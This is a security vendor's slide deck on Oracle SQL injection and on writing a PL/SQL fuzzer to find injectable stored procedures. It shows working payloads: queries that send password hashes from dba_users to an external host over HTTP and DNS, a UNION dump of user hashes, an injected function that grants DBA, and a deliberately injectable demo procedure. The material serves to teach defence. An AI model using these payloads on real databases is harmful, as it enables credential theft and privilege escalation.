



# Hack Your DB Before The Hackers Do!

Todd DeSantis  
Lead SE, Sentrigo

# What's This Presentation All About?

- Explore common DB vul.
  - SQL injection
- Create your custom fuzzer
  - What is a fuzzer anyway?
  - PL/SQL - the right tool for the right job
- Bombs away
- Demo: Protecting your database in real-time



# SQL Injection

- Wikipedia -
  - is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.

# SQL Injection

- Exists in any layer of any application
  - Web Applications
  - Stored program units
    - ◆ Build in
    - ◆ User created
- Has many forms
  - Extra queries, unions, order by...
- Easily avoided
  - Bind variables, strong typing



# SQL Injection Types

- In band - Use injection to return extra data
  - Part of normal result set (unions)
  - In error messages
- Out of band - Use alternative route like UTL\_HTTP, DNS to extract data
- Blind / Inference - No data is returned but the hacker is able to infer the data using return codes, error codes, timing measurements and more



# SQL Injection In-band

```
SQL> select utl_inaddr.get_host_name('127.0.0.1') from dual;  
localhost
```

```
SQL> select utl_inaddr.get_host_name((select  
username || '=' || password  
from dba_users where rownum=1)) from dual;  
select utl_inaddr.get_host_name((select  
username || '=' || password from dba_users where rownum=1))  
from dual  
*
```

ERROR at line 1:

ORA-29257: host **SYS=8A8F025737A9097A** unknown

ORA-06512: at "SYS.UTL\_INADDR", line 4

ORA-06512: at "SYS.UTL\_INADDR", line 35

ORA-06512: at line 1



# SQL Injection Out-of-band

**Send information via HTTP to an external site via HTTPURI**

```
select HTTPURITYPE( 'http://www.sentrigo.com/' ||  
(select password from dba_users where rownum=1) ).getclob() from  
dual;
```

**Send information via HTTP to an external site via utl\_http**

```
select utl_http.request ('http://www.sentrigo.com/' ||  
(select password from dba_users where rownum=1)) from dual;
```

**Send information via DNS (max. 64 bytes) to an external site**

```
select utl_http.request ('http://www.' || (select password  
from dba_users where rownum=1) || '.sentrigo.com/' )  
from dual;
```

DNS-Request: www.8A8F025737A9097A.sentrigo.com



# Blind SQL Injection

## Pseudo-Code:

If the first character of the sys-hashkey is a 'A'  
then

```
select count(*) from all_objects,all_objects
```

else

```
select count(*) from dual
```

```
end if;
```



# SQL Injection - Web Application

- Username = ' or 1=1 --

The original statement looked like:

```
'select * from users where username = ''' + username +  
''' and password = ''' + password + ''''
```

The result =

```
select * from users where username = " or 1=1 --" and  
password = "
```

# SQL Injection - Demo Procedure

```
CREATE OR REPLACE PROCEDURE LIST_TABLES (p_owner VARCHAR2)
IS
    TYPE c_type IS REF CURSOR; l_cv c_type; l_buff
    VARCHAR2(100);
BEGIN
    dbms_output.enable(100000);
    OPEN l_cv FOR 'SELECT object_name FROM all_objects WHERE
owner = ''' || p_owner || ''' AND object_type = 'TABLE''';
    LOOP
        FETCH l_cv INTO l_buff;
        dbms_output.put_line(l_buff);
        EXIT WHEN l_cv%NOTFOUND;
    END LOOP;
    CLOSE l_cv;
END;
```



# SQL Injection - Inject SQL

```
SQL> set serveroutput on
SQL> exec list_tables('SCOTT')
DEPT
EMP
BONUS
SALGRADE
SALGRADE
SQL> exec list_tables('KUKU' UNION SELECT username ||
    ':' || password FROM dba_users--')
BI:FA1D2B85B70213F3
CTXSYS:71E687F036AD56E5
DBSNMP:0B813E8C027CA786
...
```



# SQL Injection - Inject Functions

```
CREATE OR REPLACE FUNCTION get_dba
RETURN VARCHAR2
AUTHID CURRENT_USER
IS
    PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
    EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
    RETURN 'Hacked';
END get_dba;
/
```



# SQL Injection - Inject Functions

```
SQL> exec sys.list_tables('NOUSER' || scott.get_dba()--')
```

PL/SQL procedure successfully completed.

```
SQL> @privs
```

Roles for current user

USERNAME	GRANTED_ROLE
-----	-----
SCOTT	CONNECT
SCOTT	DBA
SCOTT	RESOURCE



# Fuzzing

**Fuzz testing** or **fuzzing** is a software testing technique that provides random data ("fuzz") to the inputs of a program. If the program fails (for example, by crashing, or by failing built-in code assertions), the defects can be noted.

The great advantage of fuzz testing is that the test design is extremely simple, and free of preconceptions about system behavior.



# Finding Vulnerable Code

- Finding dynamic query code

```
select * from dba_dependencies where  
referenced_name = 'DBMS_SQL'
```

```
select * from dba_source where upper(text)  
like '%IMMEDIATE%'
```

- Finding sysdate

```
select * from dba_source where upper(text)  
like '%||%SYSDATE%'
```



# PL/SQL - The Right Tool

- Easy to run SQL
- Built-in the database
- Cross platform
- Good enough for the task
- DBAs already speak it fluently
- Can be easily scheduled as a DB job



# Caution - Use With Care

- Fuzzing on production is a big no-no
- Be sure to receive permission from the DB owner



# Design

- Track - using tables
  - Track fuzzing results
  - Rerun, Restart tests after stoping and failing
- Discovery
  - Code to find interesting stored program units
- Invoke
  - Invocation code to invoke stored procedures with different edge-case parameters
- Wrap
  - Tie it up in a loop and wrap in a package
- Report
  - Report findings



# Discovery - Find Relevant Objects

0.03385374 seconds local-10201

Enter SQL Statement:

```
select * from all_objects where owner = 'SCOTT' and object_type in ('PROCEDURE', 'FUNCTION', 'PACKAGE', 'TYPE', 'JAVA CLASS')
```

Results: Results Script Output Explain Autotrace DBMS Output OWA Output

	OWNER	OBJECT_NAME	SUBOBJECT_NAME	OBJECT_ID	DATA_OBJECT_ID	OBJECT_TYPE	CREATED	LAST_DDL_TIME	TIMESTAMP	STATUS	TEMPORARY
1	SCOTT	TEST_PKG	(null)	55755	(null)	PACKAGE	14-JUL-08	14-JUL-08	2008-07-14:11:35:12	VALID	N
2	SCOTT	FUZZOR	(null)	56576	(null)	PACKAGE	01-SEP-08	01-SEP-08	2008-09-01:23:16:17	VALID	N
3	SCOTT	LIST_TABLES	(null)	56578	(null)	PROCEDURE	01-SEP-08	01-SEP-08	2008-09-01:23:44:18	VALID	N
4	SCOTT	HH_TESTING	(null)	56047	(null)	PACKAGE	15-AUG-08	15-AUG-08	2008-08-15:14:39:04	VALID	N
5	SCOTT	TEST	(null)	54406	(null)	PROCEDURE	21-MAY-08	21-MAY-08	2008-05-21:16:33:56	VALID	N
6	SCOTT	OWN_DB	(null)	52727	(null)	PACKAGE	22-FEB-08	08-MAY-08	2008-05-08:12:25:07	VALID	N
7	SCOTT	HACK_PACK	(null)	51551	(null)	PACKAGE	08-OCT-07	08-OCT-07	2007-10-08:14:06:59	VALID	N
8	SCOTT	COUNT_ROWS	(null)	53822	(null)	PROCEDURE	14-APR-08	14-APR-08	2008-04-14:08:45:56	VALID	N
9	SCOTT	COUNT_TABLES	(null)	53825	(null)	PROCEDURE	14-APR-08	14-APR-08	2008-04-14:08:33:19	VALID	N
10	SCOTT	ATTACK	(null)	51736	(null)	FUNCTION	25-MAY-08	25-MAY-08	2008-05-25:18:23:05	VALID	N
11	SCOTT	RETRIEVE_DATA	(null)	55467	(null)	PROCEDURE	01-JUL-08	19-AUG-08	2008-08-19:17:24:31	VALID	N
12	SCOTT	GET_DBA	(null)	51954	(null)	FUNCTION	13-DEC-07	13-DEC-07	2007-12-13:14:47:14	VALID	N
13	SCOTT	RETRIEVE_EMPS	(null)	55472	(null)	PROCEDURE	01-JUL-08	02-JUL-08	2008-07-02:22:21:55	INVALID	N



# Discovery - Find Interesting Ones

0.00853377 seconds

Enter SQL Statement:

```
select * from all_objects where owner = 'SCOTT' and object_type in ('PROCEDURE', 'FUNCTION', 'PACKAGE', 'TYPE', 'JAVA CLASS')

select text from all_source where owner = 'SCOTT' and name = 'LIST_TABLES' and type = 'PROCEDURE' order by line
```

Results | Script Output | Explain | Autotrace | DBMS Output | OWA Output

Results:

TEXT
1 PROCEDURE list_tables(p_owner VARCHAR2)
2 IS
3 TYPE c_type IS REF CURSOR;
4 l_cv c_type;
5 l_buff VARCHAR2(100);
6 BEGIN
7 dbms_output.enable(100000);
8 OPEN l_cv FOR 'SELECT object_name FROM all_objects WHERE owner = "'    p_owner    '" AND object_type = "TABLE";
9 LOOP
10 FETCH l_cv INTO l_buff;
11 dbms_output.put_line(l_buff);
12 EXIT WHEN l_cv%NOTFOUND;
13 END LOOP;
14 CLOSE l_cv;
15 END list_tables;



# Discovery - Find Interesting Ones

```
0.060211 seconds
Enter SQL Statement:
select * from all_objects where owner = 'SCOTT' and object_type in ('PROCEDURE', 'FUNCTION', 'PACKAGE', 'TYPE', 'JAVA CLASS')

select text from all_source where owner = 'SCOTT' and name = 'LIST_TABLES' and type = 'PROCEDURE' order by line

select * from all_source where owner = 'SCOTT' and (upper(text) like '%REF CURSOR%' or upper(text) like '%EXECUTE IMMEDIATE%' or
upper(text) like '%DBMS_SQL%')
```

Autotrace

Results Script Output Explain Autotrace DBMS Output OWA Output

Results:

OWNER	NAME	TYPE	LINE	TEXT
SCOTT	LIST_TABLES	PROCEDURE	3	TYPE c_type IS REF CURSOR;
SCOTT	HH_TESTING	PACKAGE BODY	19	EXECUTE IMMEDIATE p_cmd;
SCOTT	HH_TESTING	PACKAGE BODY	40	EXECUTE IMMEDIATE 'CREATE TABLE '    p_table_name
SCOTT	HH_TESTING	PACKAGE BODY	205	EXECUTE IMMEDIATE 'DROP TABLE '    l_row.table_name;
SCOTT	HACK_PACK	PACKAGE BODY	9	EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
SCOTT	COUNT_ROWS	PROCEDURE	6	EXECUTE IMMEDIATE 'select count(*) from '    v_verify_tab INTO v_count;
SCOTT	COUNT_TABLES	PROCEDURE	7	EXECUTE IMMEDIATE 'select count(*) from all_tables where table_name='''  v_verify_tab  ''' INTO v_count;
SCOTT	ATTACK	FUNCTION	8	execute immediate 'grant dba to
SCOTT	RETRIEVE_DATA	PROCEDURE	8	l_rec_tab dbms_sql.desc_tab;
SCOTT	RETRIEVE_DATA	PROCEDURE	13	l_cr := dbms_sql.open_cursor;
SCOTT	RETRIEVE_DATA	PROCEDURE	15	dbms_sql.parse(l_cr, 'SELECT * FROM '    l_table_name    ' WHERE ROWNUM < '    p_rows, dbms_sql.NATIVE);
SCOTT	RETRIEVE_DATA	PROCEDURE	17	dbms_sql.describe_columns(l_cr, l_col_count, l_rec_tab);
SCOTT	RETRIEVE_DATA	PROCEDURE	21	dbms_sql.define_column_char(l_cr, l_j, l_res_col, 32000);
SCOTT	RETRIEVE_DATA	PROCEDURE	24	l_res := dbms_sql.execute(l_cr);
SCOTT	RETRIEVE_DATA	PROCEDURE	26	l_res := dbms_sql.fetch_rows(l_cr);
SCOTT	RETRIEVE_DATA	PROCEDURE	30	dbms_sql.column_value_char(l_cr, l_j, l_res_col);
SCOTT	RETRIEVE_DATA	PROCEDURE	35	dbms_sql.close_cursor(l_cr);
SCOTT	RETRIEVE_DATA	PROCEDURE	38	IF dbms_sql.is_open(l_cr) THEN
SCOTT	RETRIEVE_DATA	PROCEDURE	39	dbms_sql.close_cursor(l_cr);
SCOTT	GET_DBA	FUNCTION	7	EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';

# Discovery - Placing Data In Tables

- Use `dbms_describe` for PL/SQL
- Find 'Language Java' in code and then use `dbms_describe` on the PL/SQL wrapper
- Save the data for future re-runs



# Invoke Fuzzed Code

- Use "execute immediate" to invoke anonymous PL/SQL blocks created from dbms\_describe
- Pass in various interesting input parameters
  - Strings containing ' or "
  - Long strings
  - Nulls
  - Combinations
- On code using concatenation of numbers and dates directly without formatting
  - NLS\_DATE\_FORMAT
  - NLS\_NUMERIC\_CHARACTERS



# Invoking Fuzzed Code

- Catch interesting errors
  - ORA-00921: unexpected end of SQL command
  - ORA-00936: missing expression
  - ORA-00933: SQL command not properly ended
  - Crashes - for C code
  - etc.



# Example Interface

```
CREATE OR REPLACE
```

```
PACKAGE fuzzor IS
```

```
C_TYPE_PROCEDURE      CONSTANT NUMBER(4)      := 1;  
C_TYPE_FUNCTION       CONSTANT NUMBER(4)      := 2;  
C_TYPE_PACKAGE        CONSTANT NUMBER(4)      := 4;  
C_TYPE_OBJECT         CONSTANT NUMBER(4)      := 8;  
C_TYPE_JAVA           CONSTANT NUMBER(4)      := 16;
```

```
-----  
-- This procedure is a wrapper around the entire process of creating a  
-- new cycle of discovery, fuzzing loop and simple report generation  
-----
```

```
PROCEDURE run(  
  p_owner      IN  VARCHAR2,  
  p_type       IN  NUMBER,  
  p_only_suspect IN  BOOLEAN);
```

```
-----  
-- This procedure will restart a previous test either by continueing  
-- where we left of or by reruning the entire test  
-----
```

```
PROCEDURE run(  
  p_fuzz_run   IN  fuzz_run.id%TYPE,  
  p_continue   IN  BOOLEAN);
```



# Example Interface

```
-----  
-- This procedure will run a test of specific object  
-----
```

```
PROCEDURE run(  
  p_fuzz_run      IN      fuzz_run.id%TYPE,  
  p_obj_id       IN      fuzzed_obj.obj_id%TYPE);
```

```
-----  
-- This procedure will run a test of specific method within object  
-----
```

```
PROCEDURE run(  
  p_fuzz_run      IN      fuzz_run.id%TYPE,  
  p_obj_id       IN      fuzzed_obj.obj_id%TYPE,  
  p_method_name  IN      fuzzed_obj.method_name%TYPE);
```

```
-----  
-- This procedure will create the discovered records in the test tables  
-----
```

```
PROCEDURE discover(  
  p_owner IN VARCHAR2,  
  p_type IN NUMBER,  
  p_only_suspect IN BOOLEAN);
```



# Example Interface

```
-----  
-- This procedure will create a simple report and will print it to dbms_output  
-- buffer  
-----  
PROCEDURE report(  
  p_fuzz_run      IN    fuzz_run.id%TYPE);  
-----  
-- This procedure will create a simple report and will print it to dbms_output  
-- buffer for a specific object  
-----  
PROCEDURE report(  
  p_fuzz_run      IN    fuzz_run.id%TYPE,  
  p_obj_id        IN    fuzzed_obj.obj_id%TYPE);  
-----  
-- This procedure will create a simple report and will print it to dbms_output  
-- buffer  
-----  
PROCEDURE report(  
  p_fuzz_run      IN    fuzz_run.id%TYPE,  
  p_obj_id        IN    fuzzed_obj.obj_id%TYPE,  
  p_method_name   IN    fuzzed_obj.method_name%TYPE);  
END fuzzor;
```



# Bombs Away

- Running as DBA on Oracle supplied code can be very interesting
- Sentrigo Red Team discovered multiple vulnerabilities this way
  - Reported to Oracle
  - Protected by Hedgehog out of the box



# Other Fuzzers Out There

- Inguma PL/SQL fuzzer
  - Written by Joxean Koret
  - Python
  - <http://inguma.sourceforge.net/>
- SPIKE
  - Not Oracle specific
  - Used to analyze and fuzz network protocols
  - <http://www.immunityinc.com/resources-freesoftware.shtml>



# Write Secure Code

- The least privilege principle
  - Lock down packages
    - ◆ System access, file access, network access
- Use secure coding techniques
  - Bind variables
  - input validation
  - Clear ownership of security issues



# Some Coding Rules

- Avoid hardcoding username/password
- Wrap sensitive/important program code - even if not really safe
- Use full qualified names for function and procedure calls (e.g. SYS.DBMS\_ASSERT)
- Always validate user/database input
- Be careful with dynamic statements (Cursors, SQL-Statements, ...)
- Be careful with file access
- Be careful with OS command execution



# Protecting Your Database

- Try out the Hedgehog -  
<http://www.sentrigo.com>
  - Virtual patching
  - SQL Injection protection
  - Fine grain auditing
  - Centralized management
  - More...



# Questions?

